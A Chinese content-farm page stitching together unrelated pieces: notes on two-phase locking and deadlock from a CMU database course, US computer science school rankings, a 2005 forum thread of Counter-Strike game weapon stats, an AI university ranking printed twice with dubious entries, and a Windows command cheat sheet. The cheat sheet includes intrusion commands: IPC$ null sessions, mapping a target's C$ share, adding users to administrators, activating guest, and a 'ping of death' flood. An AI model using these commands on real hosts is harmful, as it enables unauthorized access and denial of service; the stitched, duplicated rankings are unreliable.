首先锁是用来做互斥的,解决并发执行时的数据不一致问题
如图会导致,不可重复读
如果这里用lock就可以解决,数据库里面有个LockManager来作为master,负责锁的记录和授权
数据库里面的基本的锁类型,
其实就是读锁,写锁
但是如果光是有读写锁,只能解决当个操作互斥和正确,无法解决transaction的正确
所以我们需要一个事务级别的锁,就是2PL,两阶段提交
最核心的想法,在growing阶段需要拿到所有需要的锁,否则就会block;shrinking阶段,不能去增加锁,只能释放锁
2PL在shrinking阶段是可以逐个去释放锁的,这样会有cascding aborts问题
因为你释放部分锁的时候,其他的事务就会看到你的改动,但最终你abort,那么所有相关的事务由于脏读也必须要abort
2PL有如下的问题,
首先,2PL是充分不必要条件,不满足2PL并不一定会导致调度问题,所以2PL限制了并发
第二,由于脏读导致的Cascding abort,这个的解决很直接,Strict 2PL,Shrinking阶段不会逐步释放锁,最后一起释放,这样就不会脏读了,这个方法会进一步限制并发,谈不上优雅
下面看一组例子,
非2PL,读到的是A,B的中间结果,所以会发生不一致;2PL,解决了不一致问题;Strict 2PL,明显进一步限制了并发,几乎就是顺序执行
事务还有一个问题,死锁
死锁就是发生锁环了,两种解决方法,
Detection和Prevention,detection就是检测有没有环,如果有环就处理;Prevention就是预先判断是不是会形成环,如果会就拒绝请求
死锁Detection,生成waits-for图,如果有环,就说明有死锁
出现死锁,解决从策略就是挑一个进行重启或abort
挑选的策略就是代价更低,然后挑出合适的victim后,就是要进行处理
处理的时候,可以分为完全Rollback和部分Rollback,因为有时候Rollback到不持有这锁就可以解决死锁的问题,不用完全的rollback
prevention的策略如下,prevention的依据就是时间,要不新的等,要不老的等
锁粒度
对数据库加锁可以在各个粒度上,
在树上任一节点加锁,意味着对所有子节点也持有锁
意向锁,intention lock
比如你在要给table加锁的时候,你先要确认table底下的所有tuple,attr是否有锁,这样很低效
所以意向锁就是一个flag,标识子节点上是否有锁
意向锁分为几类,
读写意向锁,很好理解,就是表示子节点是否有读写锁
SIX,Shared Intention Exclusive,首先加Shared锁,这样可以扫描全表,然后加IX锁,需要更改其中某些tuple
例子,
CMU Database Systems - Two-phase Locking
标签:bsp 检测 不能 row 级别 加锁 ase back 写锁
小编还为您整理了以下内容,可能对您也有帮助:
美国计算机专业排名TOP20的院校有哪些?
美国计算机专业排名Top20的大学如下:
1. 麻省理工学院
2. 斯坦福大学
3. 卡内基梅隆大学
4. 加州大学伯克利分校
5. 哈佛大学
6. 普林斯顿大学
7. 加州大学洛杉矶分校
8. 华盛顿大学
9. 哥伦比亚大学
10. 纽约大学
11. 佐治亚理工学院
12. 康奈尔大学
13. 加州理工学院
14. 德州大学奥斯汀分校
15. 伊利诺伊大学厄本纳-香槟分校
16. 宾夕法尼亚大学
17. 南加州大学
18. 加州大学圣地亚哥分校
19. 耶鲁大学
20. 密歇根大学
申请美国计算机专业需要注意的是:
申请注意事项
01. 根据兴趣匹配目标学校,而不是学校排名
不同的学校的侧重点专业并不相同。比如斯坦福的CS在Theory、Database、Programming、Hardware、AI等领域的实力都非常强劲。
但是如果你想学System,那么你去斯坦福并不一定是一个明智的选择,而UC Berkeley(加州大学伯克利分校)应该是你最佳选择。
UIUC(伊利诺伊大学厄巴纳-香槟分校)是一所享有世界声望的顶尖研究型大学,也是EECS界传统巨牛。
虽然学校经历了低谷期,但是现在由更有活力的中生代掌控着,未来一片光明。该校的计算机硬件实力强大。
另外计算机系统的研究开发也得到外界极高的评价。
但是如果你想学习AI的话,那么UM Amherst(马萨诸塞大学安姆斯特分校)会更加适合你。
MIT(麻省理工学院)同样被称作为CS的巨牛,该校的数据流计算机、AI方面有突出的成就。
CMU(卡内基·梅隆大学)的CS不是一个系,而是一个学院,其规模之大,远非一般院校所能及。
CMU的师资力量雄厚,不少的Faculty在此领域都有各自的贡献,并获得过多个图灵奖。
虽然很多方向招收的研究生都特别少,但是他们的Information Networking Institute招生情况还是相对乐观的。
所以当你选择申请目标学校的时候,首先要考虑的因素不是学校的排名,更多的是需要了解院校的专业是否与自己所感兴趣的领域有所吻合。
一旦不吻合的话,学校就没有办法带给你想要的东西,那么你的投资回报(资金或时间成本)就小了很多。
02. 优异的GRE成绩和TOEFL成绩
拥有优异的GT语言成绩,绝对是最有利的双刃剑。
如果你是一个对档次要求特别高,而自己研究水平又一般的话,申请CS就要努力提高GT成绩了。
根据美国绝大部分学校对GRE的要求,325分能够录取。
03. 拥有丰富的研究经历
对于申请美国院校的计算机专业,无论是申请CS Master还是CS PhD,研究是最基本的东西。
你是否拥有丰富的研究经历决定了你是否会在所有的申请者中脱颖而出。
GT语言成绩是申请过程中必要的敲门砖。
但是仅仅想依靠GT脱颖而出,绝对是不牢靠的想法。因此研究经历是你必备的软实力。
总之,不管是申请哪所院校,都需要你及早地规划考试时间、备考进度及丰富自己的研究经历,只有自己的软硬实力兼备,你才能如愿得到梦校的offer。
CS枪械介绍
你的这个还不错的,但是还是在帮你找一个:
1 武器介绍
USP (Universal Self-Loading Pistol) Tactical .45 ACP
制造商:汉克勒寇奇
价钱:500$
弹夹容量:12发/夹
弹药最大携带量:48发
武器特殊功能:消音器
威力:一般
射程:一般
精确度:一般
弹药:.45 ACP
装弹速度:快
弹药循环速度:一般
贴子相关图片:
作者: 神奇战车2 2005-5-28 15:06 回复此发言
--------------------------------------------------------------------------------
2 回复:武器介绍
Glock 18
制造商:Glock
价钱:400$
弹夹容量:20发/夹
弹药最大携带量:90发
武器特殊功能:单发或自动和连发的开关
威力:一般(半自动)/高(连发)
射程:较短
精确度:一般
弹药:.9mm
装弹速度:快
弹药循环速度:高速(连发)/中速(单发或自动)/慢(连发之间)
贴子相关图片:
作者: 神奇战车2 2005-5-28 15:06 回复此发言
--------------------------------------------------------------------------------
3 回复:武器介绍
Sauer P-228
制造商:Sig
价钱:600$
弹夹容量:13发/夹
弹药最大携带量:52发
武器特殊功能:无
威力:强
射程:一般
精确度:一般
弹药:.357SIG slugs
装弹速度:较慢
弹药循环速度:快
贴子相关图片:
作者: 神奇战车2 2005-5-28 15:07 回复此发言
--------------------------------------------------------------------------------
4 回复:武器介绍
Desert Eagle .50 AE (Deagle)
制造商:Magnum Research
价钱:650$
弹夹容量:7发/夹
弹药最大携带量:35发
武器特殊功能:无
威力:强
射程:一般
精确度:一般
弹药:.50AE slugs
装弹速度:一般
弹药循环速度:一般
贴子相关图片:
作者: 神奇战车2 2005-5-28 15:07 回复此发言
--------------------------------------------------------------------------------
5 回复:武器介绍
Beretta Elite
制造商:Baretta
价钱:650$
弹夹容量:20发/夹
弹药最大携带量:60发
武器特殊功能:无
威力:强
射程:一般
精确度:一般
弹药:.357SIG slugs
装弹速度:较慢
弹药循环速度:快
贴子相关图片:
作者: 神奇战车2 2005-5-28 15:08 回复此发言
--------------------------------------------------------------------------------
6 回复:武器介绍
M3 Super90 Combat
制造商:Benelli
价钱:1700$
弹夹容量:8发/夹
弹药最大携带量:32发
武器特殊功能:无
威力:强(低射程)/弱(高射程)
射程:短
精确度:减小射程将提高精确度
弹药:12 gauge
装弹速度:较慢
弹药循环速度:慢
贴子相关图片:
作者: 神奇战车2 2005-5-28 15:08 回复此发言
--------------------------------------------------------------------------------
7 回复:武器介绍
M4 Super90 (XM1014)
制造商:Benelli
价钱:3000$
弹夹容量:7发/夹
弹药最大携带量:32发
武器特殊功能:无
威力:强(低射程)/弱(高射程)
射程:短
精确度:减小射程将提高精确度
弹药:12 gauge
装弹速度:较慢
弹药循环速度:快
贴子相关图片:
作者: 神奇战车2 2005-5-28 15:09 回复此发言
--------------------------------------------------------------------------------
8 回复:武器介绍
MP5 Navy
制造商:汉克勒寇奇
价钱:1500$
弹夹容量:30发/夹
弹药最大携带量:90发
武器特殊功能:无
威力:一般偏弱
射程:一般
精确度:高
弹药:9mm
装弹速度:快
弹药循环速度:快
贴子相关图片:
作者: 神奇战车2 2005-5-28 15:09 回复此发言
--------------------------------------------------------------------------------
9 回复:武器介绍
Steyr Tactical Machine Pistol (TMP)
制造商:Steyr
价钱:1250$
弹夹容量:30发/夹
弹药最大携带量:90发
武器特殊功能:无
威力:弱
射程:一般
精确度:高
弹药:9mm
装弹速度:快
弹药循环速度:非常快
贴子相关图片:
作者: 神奇战车2 2005-5-28 15:10 回复此发言
--------------------------------------------------------------------------------
10 回复:武器介绍
FN P90
制造商:Fabrique Nationale
价钱:2750$
弹夹容量:50发/夹
弹药最大携带量:100发
武器特殊功能:无
威力:强
射程:一般
精确度:低
弹药:5.7mm
装弹速度:慢
弹药循环速度:快
贴子相关图片:
作者: 神奇战车2 2005-5-28 15:11 回复此发言
--------------------------------------------------------------------------------
11 回复:武器介绍
FN P90
制造商:Fabrique Nationale
价钱:2750$
弹夹容量:50发/夹(M249的一半)
弹药最大携带量:100发
武器特殊功能:无
威力:强
射程:一般
精确度:低
弹药:5.7mm
装弹速度:慢
弹药循环速度:快
贴子相关图片:
作者: 神奇战车2 2005-5-28 15:12 回复此发言
--------------------------------------------------------------------------------
12 回复:武器介绍
MAC 10
制造商:Ingram
价钱:1400$
弹夹容量:30发/夹
弹药最大携带量:90发
武器特殊功能:无
威力:一般
射程:一般
精确度:一般偏低
装弹速度:一般
弹药循环速度:一般
贴子相关图片:
作者: 神奇战车2 2005-5-28 15:13 回复此发言
--------------------------------------------------------------------------------
13 回复:武器介绍
H&K UMP .45 Shots
制造商:Heckler&Koch
价钱:1700$
弹夹容量:25发/夹
弹药最大携带量:100发
武器特殊功能:无
威力:一般偏强
射程:一般
精确度:一般偏低
装弹速度:一般
弹药循环速度:一般
贴子相关图片:
作者: 神奇战车2 2005-5-28 15:14 回复此发言
--------------------------------------------------------------------------------
14 回复:武器介绍
AK-47
制造商:Avtomat Kalashnikov
价钱:2500$
弹夹容量:30发/夹
弹药最大携带量:90发
武器特殊功能:无
威力:强
射程:一般
精确度:低
弹药:7.62mm
装弹速度:慢
弹药循环速度:快
贴子相关图片:
作者: 神奇战车2 2005-5-28 15:14 回复此发言
--------------------------------------------------------------------------------
15 回复:武器介绍
Colt M4A1 Carbine
制造商:Colt
价钱:3100$
弹夹容量:30发/夹
弹药最大携带量:90发
武器特殊功能:消音器
威力:强
射程:远
精确度:中等
弹药:5.56mm slugs
装弹速度:一般偏慢
弹药循环速度:快
贴子相关图片:
作者: 神奇战车2 2005-5-28 15:15 回复此发言
--------------------------------------------------------------------------------
16 回复:武器介绍
Steyr Aug
制造商:Steyr
价钱:3500$
弹夹容量:30发/夹
弹药最大携带量:90发
武器特殊功能:瞄准镜
威力:强
射程:远
精确度:中等
弹药:.27 ufo痰盂子母弹 :)
装弹速度:非常慢
弹药循环速度:一般
贴子相关图片:
作者: 神奇战车2 2005-5-28 15:16 回复此发言
--------------------------------------------------------------------------------
17 回复:武器介绍
Sauer SG-552 Commando
制造商:Sig
价钱:3500$
弹夹容量:30发/夹
弹药最大携带量:90发
武器特殊功能:瞄准镜
威力:强
射程:非常远
精确度:中等
弹药:5.56mm
装弹速度:慢
弹药循环速度:一般
贴子相关图片:
作者: 神奇战车2 2005-5-28 15:16 回复此发言
--------------------------------------------------------------------------------
18 回复:武器介绍
Steyr Scout Sniper Rifle
制造商:Steyr
价钱:2750$
弹夹容量:10发/夹
弹药最大携带量:60发
武器特殊功能:瞄准镜
威力:一般偏强
射程:一般
精确度:一般偏高
弹药:7.62mm
装弹速度:一般
弹药循环速度:一般
贴子相关图片:
作者: 神奇战车2 2005-5-28 15:16 回复此发言
--------------------------------------------------------------------------------
19 回复:武器介绍
Arctic Warfare Magnum (AWP)
制造商:Accuracy International
价钱:4750$
弹夹容量:10发/夹
弹药最大携带量:30发
武器特殊功能:瞄准镜
威力:非常强
射程:非常远
精确度:非常高
弹药:.338 Lapua
装弹速度:一般
弹药循环速度:缓慢
贴子相关图片:
作者: 神奇战车2 2005-5-28 15:17 回复此发言
--------------------------------------------------------------------------------
20 回复:武器介绍
Sig 550
制造商:SIG Arms
价钱:4200$
弹夹容量:30发/夹
弹药最大携带量:90发
武器特殊功能:瞄准镜
威力:一般偏强
射程:非常远
精确度:高
装弹速度:慢
弹药循环速度:一般
贴子相关图片:
作者: 神奇战车2 2005-5-28 15:18 回复此发言
--------------------------------------------------------------------------------
21 回复:武器介绍
H&K G3/SG-1 Sniper Rifle
制造商:汉克勒寇奇
价钱:5000$
弹夹容量:20发/夹
弹药最大携带量:60发
武器特殊功能:瞄准镜
威力:一般偏强
射程:非常远
精确度:高
弹药:7.62mm
装弹速度:慢
弹药循环速度:一般
贴子相关图片:
作者: 神奇战车2 2005-5-28 15:19 回复此发言
--------------------------------------------------------------------------------
22 回复:武器介绍
M249 PARA Light Machine Gun
制造商:比利时Fabrique Nationale公司
价钱:5750$
弹夹容量:100发/夹
弹药最大携带量:200发
武器特殊功能:无
威力:强
射程:一般
精确度:一般
弹药:5.56mm
装弹速度:非常慢
弹药循环速度:快
贴子相关图片:
作者: 神奇战车2 2005-5-28 15:20 回复此发言
--------------------------------------------------------------------------------
23 回复:武器介绍
Flashbang
闪光弹:可以使对手暂时失明
距离越近,失明时间越长
贴子相关图片:
作者: 神奇战车2 2005-5-28 15:20 回复此发言
--------------------------------------------------------------------------------
24 回复:武器介绍
HE Grenade
爆破手雷:爆炸有效范围5米
攻击力190
面积性攻击
贴子相关图片:
作者: 神奇战车2 2005-5-28 15:21 回复此发言
--------------------------------------------------------------------------------
25 回复:武器介绍
Smoke Grenade
烟雾弹:产生灰色烟雾,阻碍对手射击
有效时间20s
贴子相关图片:
作者: 神奇战车2 2005-5-28 15:22 回复此发言
--------------------------------------------------------------------------------
26 回复:武器介绍
C4
TNT炸药:任务道具 匪徒专用
作者: 神奇战车2 2005-5-28 15:22 回复此发言
--------------------------------------------------------------------------------
27 回复:武器介绍
C4
TNT炸药:任务道具 匪徒专用(范围50M)
贴子相关图片:
对不起了,图弄不上来……
参考资料:http://post.baidu.com/f?kz=17484142
人工智能最牛的20所美国大学
现在鉴于AI方向的人才都是高科技型的,所以现在学习人工智能专业在待遇方面自然相对比较丰厚,所以很这个方向很有发展前途。下面来说说人工智能最牛的20所美国大学。
人工智能最牛的20所美国大学:
20. 加州大学圣地亚哥分校University of California-San Diego
B.S. in Computer Science: Artificial Intelligence Cluster
学费:$13,693每年
在UCSD,所有CS专业的学生都有机会能够将人工智能作为他们的一个专业方向。在课程方面,UCSD提供包括搜索和推理,计算机视觉和图像处理等独立课程。
19. 佐治亚州立大学Georgia State University
B.S. in Computer Science: Concentration in Graphics and Human-Computer Interaction; M.S. in Computer Science: Coursework in Database & Artificial Intelligence
学费: $15,609每年
很少有大学能像乔治亚州立大学一样提供本科和硕士学位的人工智能课程。在这里,研究生们可以选择数据库与人工智能这样的课程来拓展他们的对于人工智能的知识储备。而对于本科学生们来说,还有HCI这样能够在这个领域提供介绍型知识的课程内容。
18. 普渡大学Pure University
B.S. in Computer Science: Machine Intelligence Track
学费:$13,081每年
在普渡,CS专业的本科生都可以选择人工智能,数据挖掘,机器学习,机器人以及一系列类似的课程。尽管人工智能方面的课程在美国大学中并不罕见,但是很少有学校能够像普渡一样为本科生也提供这么多的课程选择。
17. 哥伦比亚大学Columbia University in the City of New York
B.S. in Computer Science: Artificial Intelligence Track
学费:$20,838每年
哥大的优势在于它提供了东海岸几乎最好的研究设施。比如机器人实验室,自然语言处理(NLP)实验室和计算机视觉实验室。在这些实验室里,你可以看到IBM的机械臂,3D工作台,可穿戴电脑的原型机等等很酷的东西。
16.伦斯勒理工学院 Rensselaer Polytechnic Institute
B.S. in Cognitive Science: Robotics & Artificial Intelligence Elective Options
学费:$36,374每年
与其他大学将人工智能划归为计算机部门不同的是,在伦斯勒理工学院,人工智能学科是认知科学的一部分。另外,著名的Rensselaer Artificial Intelligence and Reasoning Lab (RAIR) 也设立在这里。
15. 哈佛大学 Harvard University
A.B. in Computer Science: Mind, Brain, & Behavior
学费:$15,095每年
在这所集合了世界上所有最顶级资源的大学中,无论是教师还是学生在教学上都拥有了无限的可能。在这里,所有CS的学生可以学习计算机图形,计算机视觉以及UI方面的相关课程。
14. 俄亥俄州立大学The Ohio State University
B.S. in Computer Science Engineering/Computer Information Systems: Artificial Intelligence
学费:$18,215每年
OSU为人工智能的学生提供了非常丰富的各种可能。除了提供传统的神经网络,计算机视觉之类的课程之外,OSU有着非常强大的研究团队。事实上,这个团队由于人员充沛现在已经开设了不同的研究小组,其中包括:Applied Machine Learning; Auditory, Speech, and Language Processing;
Machine Learning and Learning Theory; Cognitive Systems
13. 罗彻斯特大学 University of Rochester
B.S. in Computer Science: Machine Learning, Vision, & Robotics or Human Computer Interaction & Web; M.S. in Computer Science: Artificial Intelligence & Machine Learning or Human Computer Interaction
学费:$32,996每年
在罗村,所有对AI感兴趣的本科CS的学生都可以选择两个不同的专业方向:机器学习与机器人和人机互动。对于研究生们来说,他们还可以选择高级算法之类的课程。
12.西北大学 Northwestern University
B.S. in Computer Science: Depth in Artificial Intelligence
学费:$28,667每年
与其他学校不同的是,西北大学的AI专业的学生可以选择多达超过20种不同的课程内容。甚至有一门课程允许学生用IBM的智能电脑Watson来建立一个全新的产品。
11. 俄勒冈州立大学Oregon State University
B.S. in Applied Computer Science: Human-Computer Interaction
学费:$16,462每年
在俄勒冈州立大学,学生可以学到非常定制化的知识。举个例子来说,如果你选择了HCI专业方向,那么你会需要学习编程,认知和心理学来帮助你真正的从两方面来学习“人”“机”互动。
10. 印第安纳大学Indiana University
B.S. in Intelligent Systems Engineering; M.S. in Human-Computer Interaction Design
学费:$11,573每年
在整个TOP20的榜单中,IU是唯一一所将人工智能作为一个项目(而不是CS下的一个专业方向)的学校。
9. 麻省大学University of Massachusetts-Amherst
B.S. in Computer Science: Artificial Intelligence
学费:$18,840每年
这里提供了非常非常多的研究小组,他们包括:Autonomous Learning Laboratory; Biologically Inspired Neural & Dynamical Systems Laboratory; Computer Vision Research Laboratory; Information Extraction & Synthesis Laboratory; Knowledge Discovery Laboratory; Laboratory for Perceptual Robotics; Machine Learning for Data Science; Multi-Agent Systems Laboratory; Resource Bounded Reasoning Lab
8. 伊利诺伊大学香槟分校 University of Illinois at Urbana-Champaign
B.S. in Computer Engineering: Artificial Intelligence, Robotics, & Cybernetics
学费:$16,249每年
在香槟,人工智能并不仅仅是一个未来的概念,而更像是一个注重于“解决眼前的问题”的方法。
7. 密歇根大学 University of Michigan
Computer Science – BS LSA Computer Science Degree in Artificial Intelligence or Robotics & Vision; MS in Computer Science & Engineering: Artificial Intelligence
学费:$15,850每年
在密歇根大学,与人工智能相关的学位并不是设立在Engineering School下,而是设立在College of Literature, Science, and the Arts下的。很奇怪是不是?事实上,教学组意识到CS的学生很多都需要学习非常多除了CS之外的知识,因此为CS学生提供了非常多的各式各样的专业方向,比如Bioinformatics和Economics and Computation。
6. 加州大学伯克利 University of California-Berkeley
B.S. in Computer Science: Technical Electives in Cognitive Science
学费:$16,655每年
尽管UC Berkeley提供了一大推与人工智能相关的课程供选择,但是可惜的是他们并没有提供一个人工智能的学位。
5. 宾夕法尼亚大学 University of Pennsylvania
B.A.S./B.S.E. in Computer & Cognitive Science
学费:$22,694每年
在UPenn,AI方向的学生需要学习计算机与认知科学的双学位。在Engineering和Arts and Sciences学院之间学生也可以选择BAS(Bachelor of Applied Science)或是BSE(Bachelor of Science in Engineering)。
4. 佐治亚大学 University of Georgia
A.B. in Cognitive Science; M.S. in Artificial Intelligence
学费:$13,287每年
你可能不知道,整个人工智能研究院都隶属于该校的Franklin College of Arts and Sciences。在这里,本科生可以选择认知科学以及第二个专业方向,比如人工智能。
3. 斯坦福大学Stanford University
BS in Computer Science: Artificial Intelligence; MS in Computer Science: Artificial Intelligence or Human-Computer Interaction
学费:$17,952每年
在斯坦福,人工智能方面的本科学位涵盖的课程非常全面,其全面程度几乎已经和很多研究生的课程差不多了。这里的课程非常前沿,其中包括:computational biology, speech recognition, cognition和machine learning。
2. 华盛顿大学University of Washington
B.S. in Computer Science Engineering: User Interface and Human-Computer Interaction
学费:$10,374每年
在华盛顿大学,CS的学生可以选择多达16个不同的专业方向。最重要的是,在这里超过30位研究AI的学者们常年都在发表行业中的重磅文章,并且在AI领域屡获嘉奖。
1. 田纳西大学University of Tennessee-Knoxville
B.S. in Computer Science: Artificial Intelligence
学费:$17,863每年
你可能想不到这个榜单的第一名会被一所位于田纳西的大学摘走。但是,如果你真的想专心研究AI的话,那么这所学校肯定是你的目标。从本科阶段开始,这里的学生就可以在biologically inspired computation, pattern recognition和machine learning这三个方向学习最先进的知识。
人工智能最牛的20所美国大学
现在鉴于AI方向的人才都是高科技型的,所以现在学习人工智能专业在待遇方面自然相对比较丰厚,所以很这个方向很有发展前途。下面来说说人工智能最牛的20所美国大学。
人工智能最牛的20所美国大学:
20. 加州大学圣地亚哥分校University of California-San Diego
B.S. in Computer Science: Artificial Intelligence Cluster
学费:$13,693每年
在UCSD,所有CS专业的学生都有机会能够将人工智能作为他们的一个专业方向。在课程方面,UCSD提供包括搜索和推理,计算机视觉和图像处理等独立课程。
19. 佐治亚州立大学Georgia State University
B.S. in Computer Science: Concentration in Graphics and Human-Computer Interaction; M.S. in Computer Science: Coursework in Database & Artificial Intelligence
学费: $15,609每年
很少有大学能像乔治亚州立大学一样提供本科和硕士学位的人工智能课程。在这里,研究生们可以选择数据库与人工智能这样的课程来拓展他们的对于人工智能的知识储备。而对于本科学生们来说,还有HCI这样能够在这个领域提供介绍型知识的课程内容。
18. 普渡大学Pure University
B.S. in Computer Science: Machine Intelligence Track
学费:$13,081每年
在普渡,CS专业的本科生都可以选择人工智能,数据挖掘,机器学习,机器人以及一系列类似的课程。尽管人工智能方面的课程在美国大学中并不罕见,但是很少有学校能够像普渡一样为本科生也提供这么多的课程选择。
17. 哥伦比亚大学Columbia University in the City of New York
B.S. in Computer Science: Artificial Intelligence Track
学费:$20,838每年
哥大的优势在于它提供了东海岸几乎最好的研究设施。比如机器人实验室,自然语言处理(NLP)实验室和计算机视觉实验室。在这些实验室里,你可以看到IBM的机械臂,3D工作台,可穿戴电脑的原型机等等很酷的东西。
16.伦斯勒理工学院 Rensselaer Polytechnic Institute
B.S. in Cognitive Science: Robotics & Artificial Intelligence Elective Options
学费:$36,374每年
与其他大学将人工智能划归为计算机部门不同的是,在伦斯勒理工学院,人工智能学科是认知科学的一部分。另外,著名的Rensselaer Artificial Intelligence and Reasoning Lab (RAIR) 也设立在这里。
15. 哈佛大学 Harvard University
A.B. in Computer Science: Mind, Brain, & Behavior
学费:$15,095每年
在这所集合了世界上所有最顶级资源的大学中,无论是教师还是学生在教学上都拥有了无限的可能。在这里,所有CS的学生可以学习计算机图形,计算机视觉以及UI方面的相关课程。
14. 俄亥俄州立大学The Ohio State University
B.S. in Computer Science Engineering/Computer Information Systems: Artificial Intelligence
学费:$18,215每年
OSU为人工智能的学生提供了非常丰富的各种可能。除了提供传统的神经网络,计算机视觉之类的课程之外,OSU有着非常强大的研究团队。事实上,这个团队由于人员充沛现在已经开设了不同的研究小组,其中包括:Applied Machine Learning; Auditory, Speech, and Language Processing;
Machine Learning and Learning Theory; Cognitive Systems
13. 罗彻斯特大学 University of Rochester
B.S. in Computer Science: Machine Learning, Vision, & Robotics or Human Computer Interaction & Web; M.S. in Computer Science: Artificial Intelligence & Machine Learning or Human Computer Interaction
学费:$32,996每年
在罗村,所有对AI感兴趣的本科CS的学生都可以选择两个不同的专业方向:机器学习与机器人和人机互动。对于研究生们来说,他们还可以选择高级算法之类的课程。
12.西北大学 Northwestern University
B.S. in Computer Science: Depth in Artificial Intelligence
学费:$28,667每年
与其他学校不同的是,西北大学的AI专业的学生可以选择多达超过20种不同的课程内容。甚至有一门课程允许学生用IBM的智能电脑Watson来建立一个全新的产品。
11. 俄勒冈州立大学Oregon State University
B.S. in Applied Computer Science: Human-Computer Interaction
学费:$16,462每年
在俄勒冈州立大学,学生可以学到非常定制化的知识。举个例子来说,如果你选择了HCI专业方向,那么你会需要学习编程,认知和心理学来帮助你真正的从两方面来学习“人”“机”互动。
10. 印第安纳大学Indiana University
B.S. in Intelligent Systems Engineering; M.S. in Human-Computer Interaction Design
学费:$11,573每年
在整个TOP20的榜单中,IU是唯一一所将人工智能作为一个项目(而不是CS下的一个专业方向)的学校。
9. 麻省大学University of Massachusetts-Amherst
B.S. in Computer Science: Artificial Intelligence
学费:$18,840每年
这里提供了非常非常多的研究小组,他们包括:Autonomous Learning Laboratory; Biologically Inspired Neural & Dynamical Systems Laboratory; Computer Vision Research Laboratory; Information Extraction & Synthesis Laboratory; Knowledge Discovery Laboratory; Laboratory for Perceptual Robotics; Machine Learning for Data Science; Multi-Agent Systems Laboratory; Resource Bounded Reasoning Lab
8. 伊利诺伊大学香槟分校 University of Illinois at Urbana-Champaign
B.S. in Computer Engineering: Artificial Intelligence, Robotics, & Cybernetics
学费:$16,249每年
在香槟,人工智能并不仅仅是一个未来的概念,而更像是一个注重于“解决眼前的问题”的方法。
7. 密歇根大学 University of Michigan
Computer Science – BS LSA Computer Science Degree in Artificial Intelligence or Robotics & Vision; MS in Computer Science & Engineering: Artificial Intelligence
学费:$15,850每年
在密歇根大学,与人工智能相关的学位并不是设立在Engineering School下,而是设立在College of Literature, Science, and the Arts下的。很奇怪是不是?事实上,教学组意识到CS的学生很多都需要学习非常多除了CS之外的知识,因此为CS学生提供了非常多的各式各样的专业方向,比如Bioinformatics和Economics and Computation。
6. 加州大学伯克利 University of California-Berkeley
B.S. in Computer Science: Technical Electives in Cognitive Science
学费:$16,655每年
尽管UC Berkeley提供了一大推与人工智能相关的课程供选择,但是可惜的是他们并没有提供一个人工智能的学位。
5. 宾夕法尼亚大学 University of Pennsylvania
B.A.S./B.S.E. in Computer & Cognitive Science
学费:$22,694每年
在UPenn,AI方向的学生需要学习计算机与认知科学的双学位。在Engineering和Arts and Sciences学院之间学生也可以选择BAS(Bachelor of Applied Science)或是BSE(Bachelor of Science in Engineering)。
4. 佐治亚大学 University of Georgia
A.B. in Cognitive Science; M.S. in Artificial Intelligence
学费:$13,287每年
你可能不知道,整个人工智能研究院都隶属于该校的Franklin College of Arts and Sciences。在这里,本科生可以选择认知科学以及第二个专业方向,比如人工智能。
3. 斯坦福大学Stanford University
BS in Computer Science: Artificial Intelligence; MS in Computer Science: Artificial Intelligence or Human-Computer Interaction
学费:$17,952每年
在斯坦福,人工智能方面的本科学位涵盖的课程非常全面,其全面程度几乎已经和很多研究生的课程差不多了。这里的课程非常前沿,其中包括:computational biology, speech recognition, cognition和machine learning。
2. 华盛顿大学University of Washington
B.S. in Computer Science Engineering: User Interface and Human-Computer Interaction
学费:$10,374每年
在华盛顿大学,CS的学生可以选择多达16个不同的专业方向。最重要的是,在这里超过30位研究AI的学者们常年都在发表行业中的重磅文章,并且在AI领域屡获嘉奖。
1. 田纳西大学University of Tennessee-Knoxville
B.S. in Computer Science: Artificial Intelligence
学费:$17,863每年
你可能想不到这个榜单的第一名会被一所位于田纳西的大学摘走。但是,如果你真的想专心研究AI的话,那么这所学校肯定是你的目标。从本科阶段开始,这里的学生就可以在biologically inspired computation, pattern recognition和machine learning这三个方向学习最先进的知识。
计算机命令
进入注册表该用 regedit
net use \\ip\ipc$ " " /user:" " 建立IPC空链接
net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接
net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:
net use h: \\ip\c$ 登陆后映射对方C:到本地为H:
net use \\ip\ipc$ /del 删除IPC链接
net use h: /del 删除映射对方到本地的为H:的映射
net user 用户名 密码 /add 建立用户
net user guest /active:yes 激活guest用户
net user 查看有哪些用户
net user 帐户名 查看帐户的属性
net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数
net start 查看开启了哪些服务
net start 服务名 开启服务;(如:net start telnet, net start schele)
net stop 服务名 停止某服务
net time \\目标ip 查看对方时间
net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
net view 查看本地局域网内开启了哪些共享
net view \\ip 查看对方局域网内开启了哪些共享
net config 显示系统网络设置
net logoff 断开连接的共享
net pause 服务名 暂停某服务
net send ip "文本信息" 向对方发信息
net ver 局域网内正在使用的网络连接类型和信息
net share 查看本地开启的共享
net share ipc$ 开启ipc$共享
net share ipc$ /del 删除ipc$共享
net share c$ /del 删除C:共享
net user guest 12345 用guest用户登陆后用将密码改为12345
net password 密码 更改系统登陆密码
netstat -a 查看开启了哪些端口,常用netstat -an
netstat -n 查看端口的网络连接情况,常用netstat -an
netstat -v 查看正在进行的工作
netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
netstat -s 查看正在使用的所有协议使用情况
nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。
ping -t -l 65550 ip 死亡之ping(发送大于K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件
